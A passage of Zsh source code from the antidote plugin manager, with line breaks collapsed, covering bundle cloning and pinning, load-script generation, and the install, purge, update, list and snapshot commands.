# bundle_scripter_parallel() { local line par_dir local n=0 par_dir=$(maketmp -d -s par) # Track each job's pid so `wait $pid` can recover its exit status; # a bare `wait` would lose script failures like a bad kind value. printf 'local -a __pids\nlocal __pid __err=0\n' while IFS= read -r line; do (( n++ )) printf '%s > "%s"/%03d &\n' "$line" "$par_dir" $n printf '__pids+=($!)\n' done < <(bundle_scripter "$@") if (( n > 0 )); then printf 'for __pid in $__pids; do wait $__pid || __err=1; done\n' printf 'cat "%s"/*\n' "$par_dir" printf 'rm -rf "%s"\n' "$par_dir" printf 'return $__err\n' fi } ### Clone a repo bundle if missing, and sync removed pins. # # Reads zsh_script's locals (btype, bundle, bundle_str, bundle_path, # bname, pin, branch, min_age) via dynamic scoping. # zsh_script_clone() { local giturl unpin_branch local -a branch_flag [[ "$btype" == (repo|url|ssh_url) ]] || return 0 # An older failed clone can leave empty dirs that pass the check below. if [[ -d "$bundle_path" && ! -e "$bundle_path/.git" ]]; then clone_dir_prune "$bundle_path" fi # handle cloning repo bundles if [[ ! -e "$bundle_path" ]]; then giturl=${bundle[__url__]:-} [[ -z "$giturl" ]] && { tourl $bundle_str; giturl=$REPLY } warn "# antidote cloning $bname..." if [[ -n "$pin" ]]; then git_clone $bundle_path $giturl || { clone_dir_prune $bundle_path; return 1 } if ! git_checkout_pin "$bundle_path" "$pin" "$bname"; then del "$bundle_path" clone_dir_prune "$bundle_path" return 1 fi [[ "$ANTIDOTE_EPHEMERAL_PIN" != true ]] && git_config_set "$bundle_path" antidote.pin $pin else branch_flag=() [[ -n "$branch" ]] && branch_flag=(-b "$branch") git_clone $bundle_path "${branch_flag[@]}" $giturl || { clone_dir_prune $bundle_path; return 1 } if (( min_age )); then git_min_age_reset "$bundle_path" "$min_age" "$bname" || return 1 elif ! zstyle -t ":antidote:bundle:$bname" shallow; then # Disowned so the clone returns immediately. Tests run it in the # foreground instead, since nothing can wait on a disowned job. if [[ "$_ANTIDOTE_GIT_BG_DEEPEN" == true ]]; then git_unshallow_try "$bundle_path" /dev/null 2>&1 &! else git_unshallow_try "$bundle_path" fi fi fi fi # Pin removed - clear config and return to branch so update can pull. # Runs here (in parallel) rather than bundle_sync_pins to avoid sequential git calls. if [[ -e "$bundle_path" ]] && [[ -z "$pin" ]]; then if [[ -n "$(git_config_get "$bundle_path" antidote.pin)" ]]; then git_config_unset "$bundle_path" antidote.pin unpin_branch="$branch" if [[ -z "$unpin_branch" ]]; then unpin_branch=$(gitsay -C "$bundle_path" rev-parse --abbrev-ref origin/HEAD 2>/dev/null) unpin_branch=${unpin_branch#origin/} fi [[ -n "$unpin_branch" ]] && gits -C "$bundle_path" checkout --quiet "$unpin_branch" 2>/dev/null fi fi return 0 } ### Print the load script for a bundle after any cloning is done. # # Reads zsh_script's locals (kind, subpath, cond, autoload_path, pre, post, # fpath_rule, skip_load_defer, bundle_str, bundle_path, btype, bname) via # dynamic scoping. # zsh_script_render() { local dopts zsh_defer source_cmd local print_bundle_path initfile print_initfile fpath_script local -a script # add path to bundle [[ -n "$subpath" ]] && typeset -g bundle_path="$bundle_path/$subpath" # add pre-load function [[ -n "$pre" ]] && script+=("$pre") # handle defers source_cmd="source" if [[ "$kind" == defer ]]; then zsh_defer='zsh-defer' zstyle -s ":antidote:bundle:${bundle_str}" defer-options 'dopts' [[ -n "$dopts" ]] && zsh_defer="zsh-defer $dopts" source_cmd="${zsh_defer} source" if (( !skip_load_defer )); then script+=( 'if ! (( $+functions[zsh-defer] )); then' "$(zsh_script __bundle__ $_ANTIDOTE_DEFER_BUNDLE | indent)" 'fi' ) fi fi # Let's make the path a little nicer to deal with print_path "$bundle_path"; print_bundle_path=$REPLY # handle autoloading before sourcing if [[ -n "$autoload_path" && "$kind" != clone ]]; then autoload_script "${print_bundle_path}/${autoload_path}" "$fpath_rule" script+=("${reply[@]}") fi # generate load script - recheck type since path may have been appended if [[ "$btype" != file ]] && [[ -f "$bundle_path" ]]; then typeset -g btype=file fi if [[ "$fpath_rule" == prepend ]]; then fpath_script="fpath=( \"$print_bundle_path\" \$fpath )" else fpath_script="fpath+=( \"$print_bundle_path\" )" fi case "$kind" in clone) ;; fpath) script+="$fpath_script" ;; path) script+="export PATH=\"$print_bundle_path:\$PATH\"" ;; autoload) autoload_script "$print_bundle_path" "$fpath_rule" script+=("${reply[@]}") ;; *) if [[ $btype == file ]]; then script+="$source_cmd \"$print_bundle_path\"" else # directory/default initfiles $bundle_path # if no init file was found, assume the default if [[ $#reply -eq 0 ]]; then if [[ -n "$subpath" ]]; then typeset -ga reply=($bundle_path/${bundle_path:t}.plugin.zsh) else typeset -ga reply=($bundle_path/${bname:t}.plugin.zsh) fi fi script+="$fpath_script" for initfile in $reply; do print_path "$initfile"; print_initfile=$REPLY script+="$source_cmd \"$print_initfile\"" done fi ;; esac # add post-load function if [[ -n "$post" ]]; then if [[ "$kind" == defer ]]; then script+=("${zsh_defer} $post") else script+=("$post") fi fi (( $#script )) || return 0 # wrap conditional if [[ -n "$cond" ]]; then print "if $cond; then" # (F)join + (@f)split flattens multiline elements so each line gets indented printf " %s\n" "${(@f)${(F)script}}" print "fi" else printf "%s\n" $script fi } ### Generate the Zsh script to load a plugin. # # usage: zsh_script __bundle__ [key value ...] # Accepts a flat key-value list (assoc array pairs) describing the bundle. # Keys: __bundle__, kind, path, branch, pin, conditional, autoload, pre, # post, fpath-rule, __skip_load_defer__, __type__, __dir__ # : zsh,path,fpath,defer,clone,autoload # zsh_script() { local bundle_str bname bundle_path btype min_age local kind subpath branch pin cond autoload_path pre post fpath_rule skip_load_defer local -A bundle # Reconstruct assoc array from flat key-value arg list bundle=("$@") bundle_str=${bundle[__bundle__]} if [[ -z "$bundle_str" ]]; then warn "antidote: error: bundle argument expected" return 1 fi # Extract fields with defaults kind=${bundle[kind]:-zsh} subpath=${bundle[path]:-} branch=${bundle[branch]:-} pin=${bundle[pin]:-} cond=${bundle[conditional]:-} autoload_path=${bundle[autoload]:-} pre=${bundle[pre]:-} post=${bundle[post]:-} fpath_rule=${bundle[fpath-rule]:-$_ANTIDOTE_FPATH_RULE} skip_load_defer=${bundle[__skip_load_defer__]:-0} if [[ "$kind" != (autoload|clone|defer|fpath|path|zsh) ]]; then warn "antidote: error: unexpected kind value: '$kind'" return 1 fi if [[ "$fpath_rule" != (append|prepend) ]]; then warn "antidote: error: unexpected fpath rule: '$fpath_rule'" return 1 fi # Use pre-computed type from matrix if available, otherwise compute if [[ -n "${bundle[__type__]}" ]]; then btype=${bundle[__type__]} else bundle_type $bundle_str; btype=$REPLY fi if [[ -n "${bundle[__name__]}" ]]; then bname=${bundle[__name__]} else bundle_name $bundle_str; bname=$REPLY fi # Fail before any cloning happens on a bad min-age value. min_age_days "$bname" || return 1 min_age=$REPLY # replace ~/ with $HOME/ if [[ "$bundle_str" == '~/'* ]]; then bundle_str=${~bundle_str} fi # set the path to the bundle (repo or local) if [[ -e "$bundle_str" ]]; then bundle_path=$bundle_str elif [[ "$btype" == (repo|url|ssh_url|using_subplugin) ]]; then if [[ -n "${bundle[__dir__]}" ]]; then bundle_path=${bundle[__dir__]} else bundle_dir $bundle_str; bundle_path=$REPLY fi else bundle_path=$bundle_str fi if [[ -n "$pin" ]] && [[ "$btype" == (repo|url|ssh_url) ]]; then if (( $#pin != 40 )) || [[ "$pin" != [0-9a-f](#c40) ]]; then warn "antidote: error: pin requires a full 40-character commit SHA, got '$pin'" return 1 fi fi # clone if needed, then emit the load script zsh_script_clone || return 1 zsh_script_render } ##### COMMANDS ### Clone bundle(s) and generate the static load script. # # usage: antidote bundle [-h|--help] ... # antidote_bundle() { local o_help bundle_output err=0 i local -a zcompile_script # Ensure all stderr from this function starts with '#' so redirected bundle # output is safe to source. exec 2> >(local line; while IFS= read -r line; do [[ "$line" == '#'* ]] || line="# $line" print -r -- "$line" >&2 done) zparseopts ${ZPARSEOPTS} -- h=o_help -help=h || return 1 if (( $#o_help )); then usage return fi # Parse all bundles once into the matrix bundle_parser < <(collect_input "$@") (( _parsed_bundles[__has_errors__] )) && err=1 if ! (( _parsed_bundles[__count__] )); then # A directive line produces no bundle entries but does update a context - # emit it in dynamic mode so the parent shell sees it. if [[ "$ANTIDOTE_DYNAMIC" == true ]] && emit_contexts; then return 0 fi return 1 fi # Bail on critical errors (conflicting/inconsistent pins or branches). bundle_check_critical || return 1 # output static file compilation # zcompile -t catches a zwc built by another zsh; mtime cannot see that. zcompile_script=( "function {" ' 0=${(%):-%x}' ' local staticfile=${0:A}' ' [[ -e ${staticfile} ]] || return 1' ' if [[ ! -s ${staticfile}.zwc || ${staticfile} -nt ${staticfile}.zwc ]] ||' ' ! zcompile -t ${staticfile}.zwc &>/dev/null; then' ' builtin autoload -Uz zrecompile' ' zrecompile -pq ${staticfile}' ' fi' '}' ) # Clone all missing repos in parallel, sync pins, zcompile if (( _parsed_bundles[__count__] > 1 )); then source <(bulk_clone) fi (( _parsed_bundles[__has_pins__] )) && { bundle_sync_pins || return 1 } bundle_zcompile_pass # generate bundle script in parallel - zsh_script still handles clone # fallback. Script failures (bad kind, bad pin) flag the whole bundle # run as failed, but valid bundles still produce output. bundle_output=$(source <(bundle_scripter_parallel)) || err=1 # clean up legacy path-style dirs after cloning is complete bundle_dir_cleanup_pass # Clone failures happen in backgrounded scripts whose status is lost, so # detect them here: every repo bundle must exist on disk after bundling. for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do [[ "${_parsed_bundles[$i,__type__]}" == (repo|url|ssh_url) ]] || continue [[ -e "${_parsed_bundles[$i,__dir__]}" ]] || err=1 done # output static file compilation if zstyle -t ':antidote:static' zcompile; then printf '%s\n' $zcompile_script fi # No output is fine (eg clone-only bundles); only a failed print is an error. if [[ -n "$bundle_output" ]]; then printf '%s\n' "$bundle_output" || err=$? fi # In dynamic mode, emit the contexts so the parent shell can source them and # pass them back into the next subprocess call. [[ "$ANTIDOTE_DYNAMIC" == true ]] && emit_contexts return $err } ### Clone a new bundle and add it to your plugins file. # # usage: antidote install [-h|--help] [-k|--kind ] [-p|--path ] # [-c|--conditional ] [-b|--branch ] # [--pre ] [--post ] # [-a|--autoload ] [] # antidote_install() { local arg bundle bundlefile bundledir bundlestr local -a annotations local -A flag_to_annotation flag_to_annotation=( '-a' autoload '-b' branch '-c' conditional '-h' help '-k' kind '-p' path ) annotations=() while (( $# )); do arg="$1" case "$arg" in -h|--help) usage return ;; --) shift; break ;; --*) [[ "${arg#--}" == (autoload|branch|conditional|kind|path|pin|post|pre) ]] || die "antidote: error: unknown flag '$arg', try --help" annotations+=( "${arg#--}:$2" ); shift ;; -*) [[ -n "${flag_to_annotation[$arg]}" ]] || die "antidote: error: unknown flag '$arg', try --help" annotations+=( $flag_to_annotation[$arg]:$2 ); shift ;; *) break ;; esac shift done if [[ $# -eq 0 ]]; then die "antidote: error: required argument 'bundle' not provided, try --help" fi bundle=$1 bundlefile=${2:-$_ANTIDOTE_BUNDLE_FILE} bundle_dir $bundle; bundledir=$REPLY if [[ -d "$bundledir" ]]; then die "antidote: error: $bundle already installed: $bundledir" fi # use antidote bundle to clone our bundle bundlestr=$bundle (( $#annotations )) && bundlestr+=" $annotations" if ! antidote_bundle "$bundlestr" >/dev/null; then die "antidote: unable to install bundle '$bundle'." else say "Adding bundle to '$bundlefile':" say $bundlestr | tee -a $bundlefile fi } ### Remove a cloned bundle. # # usage: antidote purge [-h|--help] # antidote purge [-a|--all] # antidote_purge() { local o_help o_all i line local bundlefile bundle bundledir dtstmp p local -a lines zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ a=o_all -all=a || return 1 if (( $#o_help )); then usage return fi if [[ $# -eq 0 ]] && ! (( $#o_all )); then die "antidote: error: required argument 'bundle' not provided, try --help" fi bundlefile=$_ANTIDOTE_BUNDLE_FILE if (( $#o_all )); then # last chance to save the user from themselves confirm ':antidote:test:purge' \ "You are about to permanently remove '$ANTIDOTE_HOME' and all its contents!${NL}Are you sure [Y/n]? " || return 1 # If $ANTIDOTE_HOME is a symlink, we need to remove contents under it before removing it if [[ -L "$ANTIDOTE_HOME" ]]; then () { setopt localoptions glob_dots for p in "$ANTIDOTE_HOME"/*(N); do del "$p" done } fi del "$ANTIDOTE_HOME" if [[ -e "${bundlefile:r}.zsh" ]]; then if confirm ':antidote:test:purge' \ "You are about to remove '${bundlefile:t:r}.zsh'"$'\n'"Are you sure [Y/n]? "; then dtstmp=$(date -u '+%Y%m%d_%H%M%S') command mv -f "${bundlefile:r}.zsh" "${bundlefile:r}.${dtstmp}.bak" say "'"${bundlefile:r}.zsh"' backed up to '${bundlefile:t:r}.${dtstmp}.bak'" fi fi say "Antidote purge complete. Be sure to start a new Zsh session." else bundle=$1 # make sure the user isn't trying to do something out-of-bounds if [[ -e "$bundle" ]]; then ERR=2 die "antidote: error: '$bundle' is not a repo and cannot be removed by antidote." fi bundle_dir $bundle; bundledir=$REPLY if [[ ! -d "$bundledir" ]]; then die "antidote: error: $bundle does not exist at the expected location: $bundledir" fi # remove del "$bundledir" say "Removed '$bundle'." # invalidate the dynamic-mode script cache so purged bundles reclone [[ -d "$ANTIDOTE_HOME/.dynamic" ]] && del "$ANTIDOTE_HOME/.dynamic" # attempt to comment out the bundle from .zsh_plugins.txt if [[ -e "$bundlefile" ]]; then lines=( "${(@f)"$(<$bundlefile)"}" ) for (( i=1; i<=$#lines; i++ )); do # Match the bundle literally (not as a pattern), whole word only, so # purging foo/bar leaves foo/barbaz alone. line=${lines[$i]##[[:blank:]]#} if [[ "$line" == "$bundle" || "$line" == "$bundle"[[:blank:]]* ]]; then lines[$i]="# $lines[$i]" fi done printf '%s\n' "${lines[@]}" > "$bundlefile" say "Bundle '$bundle' was commented out in '$bundlefile'." fi fi } ### Fetch/pull one bundle and write its report to a tmpfile. # # usage: update_one_bundle # Run in the background by antidote_update; reads its locals (tmpdir, # o_dry_run, _C_* colors) via dynamic scoping. is a unique index so # repos that share a short name never overwrite each other's files. # Always writes the worker exit status to a .status file for aggregation. # update_one_bundle() { local bundledir="$1" repo="$2" slot="$3" local tmpfile statusfile oldsha newsha min_age min_age_sha upstream_ref rc=0 tmpfile="${tmpdir}/${slot}.output" statusfile="${tmpdir}/${slot}.status" oldsha=$(git_sha "$bundledir") min_age_days "$repo" || rc=1 min_age=$REPLY # The clone's background deepen is best effort, so pick up anything # still shallow. Not for a bundle held shallow on purpose, and never # on a dry run, where deepening would be a side effect. Deepening is # opportunistic: a background job may still hold shallow.lock, which # is not an update failure, so fall back to a plain fetch. if (( rc == 0 )); then if ! (( $#o_dry_run )) && ! zstyle -t ":antidote:bundle:$repo" shallow \ && git_is_shallow "$bundledir"; then git_unshallow_try "$bundledir" || git_fetch "$bundledir" || rc=1 else git_fetch "$bundledir" || rc=1 fi fi # Compare and rebase against this, never FETCH_HEAD. A clone with no # remote-tracking branch at all, eg a branch: naming a tag, has nothing # to update to, which is a skip and not a failure. if (( rc == 0 )); then upstream_ref=$(git_upstream_ref "$bundledir") || { print -r -- 0 > "$statusfile" return 0 } fi # With min-age set, advance no further than the newest commit that has # sat upstream long enough. if (( rc == 0 && min_age )); then min_age_sha=$(git_min_age_sha "$bundledir" "$min_age" "$upstream_ref") if [[ -z "$min_age_sha" ]]; then warn "antidote: $repo: no commits older than $min_age days, skipping update" # Skipping is a success, so say so: the parent treats a missing # status file as a failed worker. print -r -- 0 > "$statusfile" return 0 fi fi if (( rc == 0 )); then if (( $#o_dry_run )); then # Compare local HEAD against fetched remote HEAD if (( min_age )); then newsha=$min_age_sha else newsha=$(gitsay -C "$bundledir" rev-parse "$upstream_ref" 2>/dev/null) || newsha=$oldsha fi else if (( min_age )); then git_merge_ffonly "$bundledir" "$min_age_sha" || rc=1 elif git_is_shallow "$bundledir" && ! git_is_ancestor "$bundledir" HEAD "$upstream_ref"; then # A shallow graft can hide the shared history, and a rebase then # replays commits that are already upstream and conflicts. git_reset_to "$bundledir" "$upstream_ref" "$repo" || rc=1 else git_rebase "$bundledir" "$upstream_ref" || rc=1 fi if (( rc == 0 )) && git_submodule_sync "$bundledir" && git_submodule_update "$bundledir"; then newsha=$(git_sha "$bundledir") else rc=1 fi fi fi # Capture all report output to temporary file if (( rc == 0 )); then { if [[ $oldsha != $newsha ]]; then if (( $#o_dry_run )); then say "${fg[yellow]}antidote:${reset_color} update available: $repo ${fg[green]}${oldsha[1,7]}${reset_color} -> ${fg[green]}${newsha[1,7]}${reset_color}" else say "${fg[green]}antidote:${reset_color} updated: $repo ${fg[green]}${oldsha[1,7]}${reset_color} -> ${fg[green]}${newsha[1,7]}${reset_color}" fi git_log_oneline "$bundledir" "$oldsha" "$newsha" fi # recompile bundles if ! (( $#o_dry_run )); then if zstyle -t ":antidote:bundle:$repo" zcompile; then bundle_zcompile $bundledir fi fi } > "$tmpfile" 2>&1 fi # The .status file is the only failure signal the parent reads; bare # wait discards the worker's own exit status. print -r -- $rc > "$statusfile" } ### Update antidote's cloned bundles. # # usage: antidote update [-h|--help] [-n|--dry-run] # antidote_update() { setup_color local o_help o_dry_run local tmpfile tmpdir bundledir url repo pin_ref local line loadable_check_path slot report_repo statusfile local -a worker_repos failed_repos zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ n=o_dry_run -dry-run=n || return 1 if (( $#o_help )); then usage return fi if (( $#o_dry_run )); then say "Checking for bundle updates (dry run)..." else say "Updating bundles..." # remove zcompiled files del $ANTIDOTE_HOME/**/*.zwc(N) # remove check file loadable_check_path="${ANTIDOTE_HOME}/.antidote.load" [[ -r "$loadable_check_path" ]] && del "$loadable_check_path" # invalidate the dynamic-mode script cache; bundle contents change [[ -d "$ANTIDOTE_HOME/.dynamic" ]] && del "$ANTIDOTE_HOME/.dynamic" fi # Setup temporary directory tmpdir=$(maketmp -d -s update) # Set trap to ensure cleanup on exit, interrupt, etc. # (EXIT is special, 2=INT, 15=TERM, 1=HUP) # The path is expanded now, not at trap time: zsh tears down function # locals before running an EXIT trap, so $tmpdir would be empty there. trap "[[ -d ${(q)tmpdir} ]] && del ${(q)tmpdir}" EXIT 2 15 1 # update all bundles for bundledir in ${(f)"$(antidote_list --dirs)"}; do url=$(git_url "$bundledir") short_repo_name "$url"; repo=$REPLY # Skip pinned bundles pin_ref=$(git_config_get "$bundledir" antidote.pin) if [[ -n "$pin_ref" ]]; then say "${fg[blue]}antidote:${reset_color} skipping update for pinned bundle: $repo (at ${fg[green]}${pin_ref[1,7]}...${reset_color})" continue fi say "${fg[blue]}antidote:${reset_color} checking for updates: $repo" worker_repos+=("$repo") update_one_bundle "$bundledir" "$repo" $#worker_repos & done say "Waiting for bundle updates to complete..." say "" wait # Display each worker's report and aggregate its exit status. Iterate by # slot so the repo name is known even when reports collide by short name. for slot in {1..$#worker_repos}; do tmpfile="$tmpdir/$slot.output" report_repo=$worker_repos[$slot] if [[ -s "$tmpfile" ]]; then say "${fg[blue]}Bundle ${report_repo} update check complete.${reset_color}" # Colorize the SHA in each line while IFS= read -r line; do if [[ -n "$line" ]] && [[ "$line" == [[:alnum:]]* ]]; then say "${fg[yellow]}${line%% *}${reset_color} ${line#* }" else say "$line" fi done < "$tmpfile" say "" fi # A missing or empty status file means the worker died before it could # report, so fail closed rather than scoring it a success. statusfile="$tmpdir/$slot.status" if [[ ! -s "$statusfile" ]] || [[ "$(<"$statusfile")" != 0 ]]; then failed_repos+=("$report_repo") fi done # A failed worker must not report success or trigger an autosnapshot. if (( $#failed_repos )); then for report_repo in $failed_repos; do say "${fg[red]}antidote:${reset_color} update failed for '$report_repo'" done say "" return 1 fi if (( $#o_dry_run )); then say "${fg[green]}Dry run complete. No changes were made.${reset_color}" else say "${fg[green]}Bundle updates complete.${reset_color}" [[ "$_ANTIDOTE_AUTOSNAPSHOT" == true ]] && snapshot_save >/dev/null fi say "" } ### Print where antidote is cloning bundles. # # usage: antidote home [-h|--help] # # Can be overridden by setting `$ANTIDOTE_HOME`. # antidote_home() { say "$ANTIDOTE_HOME" } ### Initialize the shell for dynamic bundles. # # usage: antidote init [-h|--help] # source <(antidote init) # # This function changes how the `antidote` command works by sourcing the results of # `antidote bundle` instead of just generating the Zsh script. # antidote_init() { local script # Bake the resolved home and config paths into the emitted function so # the parent shell never needs a subprocess to find the bundle cache. script=$_ANTIDOTE_INIT_SCRIPT script=${script//@ANTIDOTE_HOME@/${(qq)ANTIDOTE_HOME}} script=${script//@ANTIDOTE_CONFIG@/${(qq)ANTIDOTE_CONFIG}} say "$script" } ### List cloned bundles. # # usage: antidote list [-h|--help] [-l|--long] [-j|--jsonl] [-d|--dirs] [-u|--url] # antidote_list() { local o_help o_jsonl o_long o_dirs o_url zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ j=o_jsonl -jsonl=j \ l=o_long -long=l \ d=o_dirs -dirs=d \ u=o_url -url=u || return 1 if (( $# )); then die "antidote: error: unexpected $1, try --help" fi local bundledir url repo sha pin_ref jurl jrepo jpath local -a output=() local -a bundles=() bundles=(${(f)"$(find_bundles)"}) if (( ${#bundles[@]} == 0 )); then print_path $ANTIDOTE_HOME warn "antidote: list: no bundles found in '$REPLY'" return 0 fi for bundledir in "${bundles[@]}"; do url=$(git_url "$bundledir") || continue short_repo_name "$url"; repo=$REPLY if (( $#o_jsonl )); then sha=$(git_sha "$bundledir") pin_ref=$(git_config_get "$bundledir" antidote.pin) json_escape "$url"; jurl=$REPLY json_escape "$repo"; jrepo=$REPLY json_escape "$bundledir"; jpath=$REPLY if [[ -n "$pin_ref" ]]; then json_escape "$pin_ref" printf '{"url":"%s","repo":"%s","path":"%s","sha":"%s","pin":"%s"}\n' \ "$jurl" "$jrepo" "$jpath" "$sha" "$REPLY" else printf '{"url":"%s","repo":"%s","path":"%s","sha":"%s"}\n' \ "$jurl" "$jrepo" "$jpath" "$sha" fi continue elif (( $#o_long )); then sha=$(git_sha "$bundledir") pin_ref=$(git_config_get "$bundledir" antidote.pin) printf 'Repo: %s\n' "$repo" print_path "$bundledir"; printf 'Path: %s\n' "$REPLY" printf 'URL: %s\n' "$url" printf 'SHA: %s\n' "$sha" if [[ -n "$pin_ref" ]]; then printf 'Pinned: %s\n' "$pin_ref" fi print continue elif (( $#o_dirs )); then output+=("$bundledir") elif (( $#o_url )); then output+=("$url") else output+=("${bundledir}${TAB}${url}") fi done if (( $#output )); then printf '%s\n' ${(o)output} fi } ### Print the clone path of one or more bundles. antidote_path() { local bundle bundledir local -a results=() local -a bundles=("${(@f)$(collect_input "$@")}") if (( $#bundles == 0 )); then die "antidote: error: required argument 'bundle' not provided, try --help" fi for bundle in $bundles; do # Allow piping from `antidote list` default output: bundle=${bundle%%${TAB}*} if [[ $bundle == '$'* ]]; then bundle="${(e)bundle}" fi bundle_dir $bundle; bundledir=$REPLY if [[ ! -d $bundledir ]]; then die "antidote: error: $bundle does not exist in cloned paths" else results+=("$bundledir") fi done say $results } ##### SNAPSHOTS ### Save, restore, or list snapshots of cloned bundle state. # # usage: antidote snapshot [home|list|remove|restore|save] [] # antidote_snapshot() { setup_color local o_help subcmd zparseopts ${ZPARSEOPTS} -- h=o_help -help=h || return 1 if (( $#o_help )); then say "usage: antidote snapshot [home|list|remove|restore|save] []" return fi subcmd=${1:-list}; shift 2>/dev/null case "$subcmd" in home) echo "$_ANTIDOTE_SNAPSHOT_DIR" ;; list) snapshot_list ;; remove) snapshot_remove "$@" ;; restore) snapshot_restore "$@" ;; save) snapshot_save "$@" ;; *) die "antidote: snapshot: unknown subcommand '$subcmd'" ;; esac } ### Write a snapshot of all cloned bundles to a timestamped file. snapshot_save() { local bundledir url sha repo snapshot_file epoch local -a bundles bundle_lines [[ "$ANTIDOTE_DYNAMIC" == true ]] && return 0 [[ -d "$_ANTIDOTE_SNAPSHOT_DIR" ]] || mkdir -p "$_ANTIDOTE_SNAPSHOT_DIR" zstyle -s ':antidote:test:snapshot' epoch epoch || epoch=$EPOCHSECONDS snapshot_file=${1:-$_ANTIDOTE_SNAPSHOT_DIR/snapshot-$(TZ=UTC strftime '%Y%m%d-%H%M%SZ' $epoch).txt} bundles=(${(f)"$(find_bundles)"}) for bundledir in "${bundles[@]}"; do url=$(git_url "$bundledir") || continue sha=$(git_sha "$bundledir") short_repo_name "$url"; repo=$REPLY bundle_lines+=("$repo kind:clone pin:$sha") done { print "# antidote snapshot" print "# version: $_ANTIDOTE_VERSION" print "# date: $(TZ=UTC strftime '%Y-%m-%dT%H:%M:%SZ' $epoch)" printf '%s\n' ${(o)bundle_lines} } >| "$snapshot_file" say "Snapshot saved: $snapshot_file" # Prune old snapshots snapshot_prune } ### Prune snapshots beyond the configured max. snapshot_prune() { local -a snapshots to_remove snapshots=($_ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(N)) if (( $#snapshots > _ANTIDOTE_SNAPSHOT_MAX )); then to_remove=(${(o)snapshots[1,$(( $#snapshots - _ANTIDOTE_SNAPSHOT_MAX ))]}) del $to_remove fi } ### Set color-related globals needed for interactive features (fzf previews, etc). # # Callers interpolate ${fg[...]} and ${reset_color} unconditionally, so # when color is off both have to exist and expand to nothing. Blanking # them also means an exported reset_color cannot force color on. # setup_color() { typeset -g _ANTIDOTE_COLOR='' if supports_color; then typeset -g _ANTIDOTE_COLOR=true autoload -Uz colors && colors else typeset -gA fg=() typeset -g reset_color='' fi } ### Detect bat for snapshot preview highlighting. setup_bat() { typeset -g _ANTIDOTE_BAT_CMD='' _ANTIDOTE_BAT_LANG='' [[ "$_ANTIDOTE_COLOR" == true ]] && (( $+commands[bat] )) || return 0 typeset -g _ANTIDOTE_BAT_CMD=bat if bat --list-languages 2>/dev/null | grep -q 'Antidote Bundle'; then typeset -g _ANTIDOTE_BAT_LANG='Antidote Bundle' else typeset -g _ANTIDOTE_BAT_LANG=properties fi # Unlike every other setting, this default cannot move to the init block: # it names the language, and detecting that costs a bat subprocess that # every antidote run would then pay for. Assign folded so the test suite's # warn_nested_var stays quiet. [[ -n "$_ANTIDOTE_BAT_OPTS" ]] || typeset -g _ANTIDOTE_BAT_OPTS="--color=always -l '${_ANTIDOTE_BAT_LANG}'" } ### Check for an fzf picker, warning and returning 1 if unavailable. snapshot_try_picker() { local -a fzf_cmd fzf_cmd=(${(z)_ANTIDOTE_FZF_CMD}) if (( ${#fzf_cmd} == 0 )) || ! command -v -- "${fzf_cmd[1]}" >/dev/null 2>&1; then warn "antidote: snapshot: no snapshot file specified (use 'antidote snapshot list' to see available snapshots)" return 1 fi } ### Interactive fzf snapshot picker. Prints selected file path(s) to stdout. # Usage: snapshot_pick "label" [--multi] snapshot_pick() { setopt localoptions pipefail local label="$1" snap date_line epoch preview_cmd local -a snapshots labels fzf_opts fzf_cmd setup_bat snapshots=($_ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(NOn)) if (( $#snapshots == 0 )); then warn "antidote: snapshot: no snapshots found" return 1 fi fzf_cmd=(${(z)_ANTIDOTE_FZF_CMD}) preview_cmd='echo {2}; echo; tail -n +4 {2}' if [[ -n "$_ANTIDOTE_BAT_CMD" ]]; then preview_cmd="BAT_OPTS=${(q)_ANTIDOTE_BAT_OPTS} bat {2}" elif [[ "$_ANTIDOTE_COLOR" == true ]]; then preview_cmd=' printf "\033[1;4m%s\033[0m\n\n" {2} tail -n +4 {2} | awk "{ colors[0] = \"\033[34m\"; # blue colors[1] = \"\033[32m\"; # green colors[2] = \"\033[33m\"; # yellow # first field = repo (no key) printf \"%s%s\033[0m \", colors[0], \$1; # remaining fields = key:value for (i=2; i<=NF; i++) { split(\$i, kv, \":\"); key = kv[1]; val = kv[2]; color = colors[(i-1)%3]; printf \"%s:%s%s\033[0m \", key, color, val; } printf \"\n\"; }" ' fi for snap in $snapshots; do date_line=${${(f)"$(<$snap)"}[3]#\# date: } if TZ=UTC strftime -r -s epoch '%Y-%m-%dT%H:%M:%SZ' "$date_line" 2>/dev/null; then date_line=$(strftime "$_ANTIDOTE_SNAPSHOT_DATEFMT" $epoch) fi labels+=("$date_line $snap") done fzf_opts=(--no-sort ${_ANTIDOTE_COLOR:+--ansi} --with-nth=1 --delimiter=$'\t' --prompt="❯ " --border-label=" $label " --preview="$preview_cmd") if [[ "$2" == --multi ]]; then fzf_opts+=(--multi --marker='* ' --color='marker:red') fi printf '%s\n' $labels \ | FZF_DEFAULT_OPTS=$_ANTIDOTE_FZF_OPTS \ FZF_DEFAULT_OPTS_FILE=$_ANTIDOTE_FZF_OPTS_FILE \ "${fzf_cmd[@]}" $fzf_opts \ | cut -f2 \ || { warn "antidote: snapshot: no snapshot selected"; return 1; } } ### Restore bundles from a snapshot file. snapshot_restore() { local snapshot_file="$1" local line bundle pin i err=0 local -a pids bundles if [[ -z "$snapshot_file" ]]; then snapshot_try_picker || return 1 snapshot_file=$(snapshot_pick "Select snapshot to restore") || return 1 fi if [[ ! -r "$snapshot_file" ]]; then die "antidote: snapshot: file not found '$snapshot_file'" fi say "Restoring from snapshot: $snapshot_file" while IFS= read -r line; do [[ "$line" == \#* || -z "$line" ]] && continue bundle=${line%% *} pin=${line##*pin:} pin=${pin%% *} say "${fg[blue]}antidote:${reset_color} restoring $bundle (${fg[green]}${pin[1,7]}...${reset_color})" ANTIDOTE_EPHEMERAL_PIN=true antidote_bundle "$line" &>/dev/null & pids+=($!) bundles+=("$bundle") done <"$snapshot_file" for (( i = 1; i <= $#pids; i++ )); do if ! wait ${pids[$i]}; then warn "antidote: snapshot: restore failed for '${bundles[$i]}'" err=1 fi done if (( err )); then warn "Restore completed with errors." return 1 fi say "${fg[green]}Restore complete.${reset_color}" } ### List available snapshots. snapshot_list() { local -a snapshots snapshots=($_ANTIDOTE_SNAPSHOT_DIR/snapshot-*.txt(N)) if (( $#snapshots == 0 )); then say "No snapshots found." return fi printf '%s\n' 